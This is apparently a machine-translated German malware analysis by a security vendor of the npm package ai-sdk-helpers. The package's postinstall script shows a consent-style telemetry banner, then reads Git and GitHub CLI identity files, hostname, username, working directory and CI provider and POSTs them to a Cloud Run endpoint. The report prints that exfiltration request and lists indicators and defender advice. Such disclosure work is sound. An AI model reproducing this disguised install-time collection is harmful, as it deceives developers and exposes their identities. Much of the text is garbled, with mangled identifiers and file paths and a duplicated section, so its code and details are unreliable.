ConsentMask – Das npm-Paket zur Verbergung der Entwickleridentität

ConsentMask: Ein npm-Paket, das ein Telemetrie-Einwilligungsbanner über die Erfassung der Entwickleridentität legt

TL; DR

Ein einzelnes npm-Paket, ai-sdk-helpers, präsentiert sich als Produktions-Toolkit für das Vercel AI SDK und bietet Kostenverfolgung, Provider-Fallback und Streaming-Hilfsfunktionen.

Das Installationsskript öffnet sich mit einem eleganten Hinweisbanner, das Folgendes beschreibt: anonyme Diagnostik, wobei zugesichert wird, dass kein Quellcode, keine Tokens und keine Anmeldeinformationen übertragen werden, und damit einvernehmlich geregelt wird. DO_NOT_TRACK Opt-out-Option und Verlinkung zu einer Seite mit Telemetrie-Richtlinien.

Anschließend liest das gleiche Skript die Git-Identität des Entwicklers, die GitHub-CLI-Konfiguration, den Hostnamen des Rechners, den Benutzernamen des Betriebssystems, das Arbeitsverzeichnis und den CI-Anbieter aus.

Diese Daten werden als JSON per POST an einen Google Cloud Run-Endpunkt gesendet, wodurch eine klare Diskrepanz zwischen der angegebenen Telemetrierichtlinie und den tatsächlich erfassten Feldern entsteht.

Das Paket wurde in 22 Versionen innerhalb eines einzigen 83-Sekunden-Intervalls veröffentlicht, und das Installationsskript ist in jeder gekennzeichneten Version byte-für-byte identisch.

Sieben der acht von unserem Tester überprüften Versionen pipeline wurden vom ML-Klassifikator als nicht eindeutig eingestuft, da die Gestaltung des Einwilligungsbanners wie legitime Telemetriedaten aussieht.

Wir klassifizieren ai-sdk-helpers als bösartig aufgrund der Erfassung und Exfiltration von Entwickleridentitäten während der Installationszeit.

Schweregrad: hoch.

 Aufbau der Installation

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

Nachinstallation läuft automatisch am npm installieren, bevor auch nur ein einziger des beworbenen Codes des Pakets importiert wird. Das Skript scripts/postinstall.js Hier findet das gesamte Verhalten während der Installation statt.

Es beginnt mit einem Kommentarblock und einem Laufzeithinweis, der im Stil eines datenschutzbewussten Open-Source-Projekts verfasst ist:

Bei der Installation von ai-sdk-helpers führen wir eine kurze Kompatibilitätsprüfung Ihrer Umgebung durch und erstellen anonyme Diagnosedaten. Die Daten sind vollständig anonym – wir erfassen lediglich Ihre Plattform, die Node-Version und einen Hash Ihrer Maschinen-ID. Es werden weder Quellcode noch Token oder Anmeldeinformationen übertragen.

Es enthält sogar eine funktionierende Abschaltvorrichtung, den ersten ausführbaren Code in der Datei:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Dass diese Hürde zuerst genommen wird, lässt den Rest einvernehmlich erscheinen: ein Entwickler, der festlegt `D_NOT_TRACK` Die Installation wird stillschweigend abgeschlossen und das Paket entspricht der Konvention. Die berücksichtigte Opt-out-Option ist real. Für alle, die sie nicht festlegen, wird die unten beschriebene Sammlung eingeschränkt – nicht die engere Auswahl an „Plattform, Node-Version und Einweg-Hash“, die in der Benachrichtigung genannt wird.

Unterhalb dieser Grenze erstellt das Skript eine Nutzlast, die weit über diese Beschreibung hinausgeht.

  • *Gt-Identität.* rlösenScmIdentität()` Köpfe `~.gitconfig`,`~.config/git/config`,und das aktuelle Projekt.it/config`,analysiert das `[ser]` Abschnitt und gibt die konfigurierte commit E-Mail. Falls keine Konfigurationsdatei eine E-Mail-Adresse liefert, wird auf `G zurückgegriffen.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,und „EAIL` Umgebungsvariablen. Ein Docstring oberhalb der Funktion beschreibt deren Verwendung als Möglichkeit, „Installationen auf Rechnern desselben Benutzers (z. B. Laptop + CI) zu deduplizieren“ – ein Zweck, der eine stabile Entwicklerkennung erfordert. commit E-Mail-Zubehör.
  • *GtHub-Konto.* rsolveGitHubIdentity()` Köpfe `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` Die Konfigurationsdatei, die von der GitHub-CLI bei der Entwicklerauthentifizierung erstellt wird – und extrahiert per regulärem Ausdruck das `u`er:` und `eail:` Die Datei speichert auch das GitHub-OAuth-Token. Der reguläre Ausdruck des Skripts zielt speziell auf die Zeilen für Benutzername und E-Mail-Adresse ab und extrahiert das Token nicht. Die Aussage im Hinweisbanner, dass „niemals Token übertragen werden“, trifft daher für dieses eine Feld tatsächlich zu, während die umgebenden Kontokennungen gelesen und gesendet werden.
  • *Hst und CI Fingerabdruck.* Das Skript sammelt dann `o.hostname()`,`o.userInfo().username`,die Node-Version, Plattform und Architektur, `popcess.cwd()`,und ein CI-Provider-Label, das durch Überprüfung der Umgebungsvariablen für acht Provider aufgelöst wird (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite und zwei generische CI-Flags). Die Providerliste liest sich wie ein Verzeichnis der Orte, an denen das Skript ausgeführt werden soll – interaktive Shells und automatisierte Builds. pipelineist gleich.

Alle diese Elemente sind in einem einzigen `d gruppiert.Agnostiker bject, wobei die entwicklerspezifischen Felder unter einem `i gesammelt werdenEntität` ey und die Hostdaten unter `rntime` nd `cntext` Augen, dann serialisiert und übertragen:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Die Antwort wird verworfen und alle Fehler werden ignoriert – ein Kommentar merkt an, dass „die Telemetrie die Installation niemals unterbrechen darf“. Der Endpunkt-Hostname kodiert einen Google Cloud Run-Dienst im „e“-Format.rope-west1` Region.

Die Lücke ist der Kern der Geschichte. Das Banner nennt drei Datenkategorien: Plattform, Node-Version und Hash der Maschinen-ID. Die Nutzdaten enthalten das echte Git-Repository eines Entwicklers. commit E-Mail-Adresse, GitHub-Benutzername und -E-Mail-Adresse, Rechner-Hostname und Betriebssystem-Benutzername, Projektpfad und CI-Umgebung. Die Felder, die ein *p-Projekt identifizieren.rson und ihre Konten* Es handelt sich genau um die Felder, die in der Offenlegung ausgelassen werden.

Die README-Datei verstärkt die Argumentation der Gegenseite. Im Abschnitt „Telemetrie“ wird die Anonymitätsbehauptung wiederholt und das Wort „D“ verlinkt._NOT_TRACK` o `cnsoledonottrack.com`,Die eigentliche Community-Seite, die die Opt-out-Konvention dokumentiert – unter Verwendung einer anerkannten Datenschutzrichtlinie. standard damit die Mitteilung als Routineangelegenheit wahrgenommen wird.

Geschichte

Es handelt sich um einen Einzelproduktfund mit einer sehr kurzen, aber sehr dichten Veröffentlichungsgeschichte. Es gibt keinen mehrwöchigen Kampagnenverlauf, der sich nachvollziehen ließe – die gesamte Versionsreihe wurde in Windeseile veröffentlicht.

Wann (UTC)Event
2026-06-03 20:31:20 Erste Version (0.1.0) auf npm veröffentlicht.
2026-06-03 20:31:20 – 20:32:43 Alle 22 Versionen (0.1.0 - durch Konsolidierung, 1.4.2) veröffentlicht in einem 83-sekündigen automatisierten Zyklus.
2026-06-04 Acht Versionen wurden durch Erkennungssignale auffällig; eine manuelle Analyse bestätigte die Erfassung und den Abfluss von Identitätsdaten während der Installation. Das Paket war zum Zeitpunkt der Analyse weiterhin auf npm verfügbar.

Das 83-Sekunden-Fenster über 22 semantische Versionen hinweg ist selbst ein Verhaltensindikator: die Versionsleiter (`01.0',`01.1',… `14.2`)Es präsentiert die Oberfläche eines aktiv gepflegten Projekts mit einer Versionshistorie, die in einem einzigen Skriptlauf erstellt wurde. Das Installationsskript ändert sich dabei nicht – siehe unten.

Kompromissindikatoren

Die Installationsnutzlast ist über den gesamten veröffentlichten Versionsbereich identisch. Ein `dff` f `sripts/postinstall.js` etween Version `02.1` nd Version `14.2` Es werden keine Unterschiede zurückgegeben; das Verhalten ist ein fester Fingerabdruck, keine sich entwickelnde Nutzlast.

Netzwerk

Das 83-Sekunden-Fenster über 22 semantische Versionen hinweg ist selbst ein Verhaltensindikator: die Versionsleiter (`01.0',`01.1',… `14.2`)Es präsentiert die Oberfläche eines aktiv gepflegten Projekts mit einer Versionshistorie, die in einem einzigen Skriptlauf erstellt wurde. Das Installationsskript ändert sich dabei nicht – siehe unten.

Kompromissindikatoren

Die Installationsnutzlast ist über den gesamten veröffentlichten Versionsbereich identisch. Ein `dff` f `sripts/postinstall.js` etween Version `02.1` nd Version `14.2` Es werden keine Unterschiede zurückgegeben; das Verhalten ist ein fester Fingerabdruck, keine sich entwickelnde Nutzlast.

Netzwerk

IndikatorFunktion / Rolle (Role) *
npm-package-logger-228835561205.europe-west1.run.app Exfiltrationsendpunkt, der HTTPS-POST-Anfragen mit JSON-Nutzdaten empfängt. Gehostet auf Google Cloud Run. europe-west1 Region.

Köderinfrastruktur

IndikatorFunktion / Rolle (Role) *
ai-sdk.guide Homepage des Pakets und Live-Website zur Unterstützung der Autorenidentität des „AI SDK Guide“.
ai-sdk.guide/telemetry Die in der Installationsmitteilung angegebene URL der Telemetrierichtlinie.
hello@ai-sdk.guide E-Mail-Adresse des Autors angegeben in package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Das Paket gibt sein Quellverzeichnis an.

Dateien, die während der Installation gelesen werden

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` E-mail
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`

Verhaltenssignaturen

  • – m `pstinstall` Aufruf eines mitgelieferten Node-Skripts
  • – Opt-out-Gate (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)wird als Datenschutzfunktion präsentiert, noch vor der Identitätserfassung
  • – tbound HTTPS POST-Anfrage eines JSON-Objekts mit Git-E-Mail-Adresse, GitHub-Identität, Hostnamen, Betriebssystembenutzername, aktuellem Arbeitsverzeichnis und CI-Label
  • – identisches Installationsskript für eine schnell veröffentlichte Versionsstruktur

 Attribution und beobachtetes Verhalten
Wir schreiben nichts zu, was über die Metadaten des Pakets und der Registrierung hinausgeht.

Der offizielle npm-Maintainer ist das Konto `aielsimon`,mit der Adresse `aiel@vigilance.security`.Im Register wird diese E-Mail-Adresse und die Quellcodeverwaltungsidentität des Kontos als nicht verifiziert aufgeführt. Das `pckage.json`,separat wird der Autor als „AI SDK Guide“ vorgestellt.ello@ai-sdk.guide>`”mit einer Homepage von `a-sdk.guide` und ein Quellcode-Repository unter einem `gthub.com/ai-sdk-guide` Organisation. Die E-Mail-Domäne des Veröffentlichungskontos (`vigilance.security`).und die Autorenidentität innerhalb des Pakets (`a-sdk.guide`)sind unterschiedliche Bereiche.

Das `a-sdk.guide` Es ist aktiv und reagiert, und das `/Elementar ath löst sich auf – die Scheinidentität wird durch eine erreichbare Webpräsenz und nicht durch einen toten Link untermauert, was die Glaubwürdigkeit der Paketpräsentation erhöht.

**Beobachtete Funktionsweise.** Bei der Installation liest das Paket die Entwickleridentitäts- und Kontokonfigurationsdateien, erstellt einen Fingerabdruck des Hosts und der CI-Umgebung und übermittelt das Ergebnis an einen vom Betreiber kontrollierten Endpunkt. Gleichzeitig wird ein Hinweis angezeigt, der einen eingeschränkten und anonymisierten Datensatz beschreibt. Wir beschreiben dieses Verhalten, ohne eine Begründung dafür anzugeben. Leser, die das Paket bewerten – einschließlich aller, die die Identität des Herausgebers erkennen – sollten die beobachtbare Diskrepanz zwischen den angegebenen und den tatsächlichen Datenflüssen berücksichtigen.

Auswirkungen, Trends und Leitlinien für Verteidiger

Wer wird entlarvt? Jeder, der installiert ai-sdk-helpers — direkt oder als transitive Abhängigkeit — führt die Sammlung auf diesem Rechner aus. Denn der Auslöser ist NachinstallationDer beworbene Bibliothekscode muss für den Datenfluss nie importiert werden; die Installation allein genügt. Die optimalen Umgebungen sind Entwickler-Workstations mit konfigurierter Git-Identität und authentifizierter GitHub-CLI sowie CI-Runner, bei denen die CI-Provider-Erkennung des Skripts anzeigt, dass die Sammlung innerhalb des Build-Prozesses ausgeführt werden soll. pipelinesowohl auf als auch auf Laptops.

Was es offenbart. Nicht Anwendungsgeheimnisse im Allgemeinen – der Nutzlastbereich konzentriert sich auf Identität: der Entwickler commit E-Mail-Adresse, GitHub-Kontoname und -E-Mail-Adresse, Rechner- und Kontoname sowie Projektpfad. Das ist eine Vorabversion.cisEine Übersicht darüber, wer das Paket auf welchem ​​Rechner, in welchem ​​Repository und unter welchem ​​CI-System installiert hat. Für ein Unternehmen würden wenige solcher Datensätze zusammengenommen Aufschluss darüber geben, welche Entwickler und welche Build-Systeme die Abhängigkeit installiert haben – nützlich als Vorbereitung für gezieltere Folgemaßnahmen, auch wenn das Paket selbst nur die Daten sammelt und weiterleitet.

Der Trend: Telemetrie als Tarnung. Legitime Entwicklertools erfassen anonymisierte Installationsdiagnosedaten, und es gibt Konventionen für einen respektvollen Umgang damit – eine Offenlegungserklärung, eine NICHT VERFOLGEN Ehre, ein Opt-out-Flag, eine Richtlinien-URL – das sind wohlbekannte Konzepte. ai-sdk-helpers Es reproduziert alle vier Konventionen getreu und nutzt sie als Rahmen für die Identitätserfassung. Das Vorhandensein eines Einwilligungsbanners, einer funktionierenden Abmeldeoption oder eines Links zur Datenschutzerklärung ist kein Beweis für die Vertrauenswürdigkeit eines Pakets; diese Kontrollmechanismen lassen sich kostengünstig imitieren. Die einzig verlässliche Überprüfung besteht darin, zu prüfen, was der Code tatsächlich liest und wohin er die Daten sendet.

Diese Verpackung hat auch einen messbaren Effekt auf die automatisierte Triage. Über alle Versionen hinweg pipeline Bei der Überprüfung wurden die Kommentare in einfacher Sprache, die strukturierten Feldnamen und die herkömmliche Abmeldeoption des Installationsskripts als normale Telemetriedaten eingestuft: sieben von acht Daten wurden zurückgegeben. nicht schlüssig vom ML-Klassifikator und nicht böswillig. Das Signal, das die Mehrdeutigkeit auflöst, befindet sich nicht im Text – es befindet sich in den spezifischen Dateien, die das Skript öffnet (~ / .gitconfig, ~/.config/gh/hosts.ymlund dem Zielort, an den die Daten gesendet werden. Ein Prüfer, ob automatisiert oder menschlich, der die Offenlegung liest und es dabei belässt, wird zu einem falschen Schluss kommen; die Bestimmung muss auf den Fakten des Datenflusses basieren.

Leitfaden für Verteidiger:

  • Installation mit standardmäßig deaktivierten Skripten — npm install --ignore-scripts, oder set ignore-scripts=true in .npmrc und führen Sie geprüfte Build-Schritte explizit aus. Dies neutralisiert Nachinstallation-ausgelöste Datenerfassung auf allen Ebenen.
  • Opt-out-Kontrollen sollten nicht als Vertrauenssignale interpretiert werden. NICHT VERFOLGEN Eine Überprüfung oder ein Link zur „Telemetrierichtlinie“ gibt keinerlei Auskunft darüber, welche Daten ein Skript sammelt, wenn das Gate nicht gesetzt ist.
  • Lesen Sie die Installationshinweise, bevor Sie Hilfspakete für das KI-Ökosystem verwenden. Der Vercel AI SDK-Bereich ist ein schnelllebiges und vertrauenswürdiges Umfeld; ein Nachinstallation das berührt ~ / .gitconfig or ~/.config/gh/ ist ein eindeutiges Signal, unabhängig davon, wie die umgebenden Kommentare formuliert sind.
  • Überwachen Sie den ausgehenden Datenverkehr während der Build-Phase. Ein ausgehender HTTPS-POST-Request während der Build-Phase. npm installierenInsbesondere bei einem neu bereitgestellten Cloud-Funktionsendpunkt ist dies auf der Netzwerkschicht beobachtbar und stellt einen wichtigen Erkennungspunkt für CI-Umgebungen dar.
  • Achten Sie auf komprimierte Versionsketten. Ein Paket, dessen gesamte semantische Versionshistorie innerhalb von Sekunden erscheint, bei unverändertem Installationsskript, präsentiert eine manipulierte Wartungshistorie.
SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite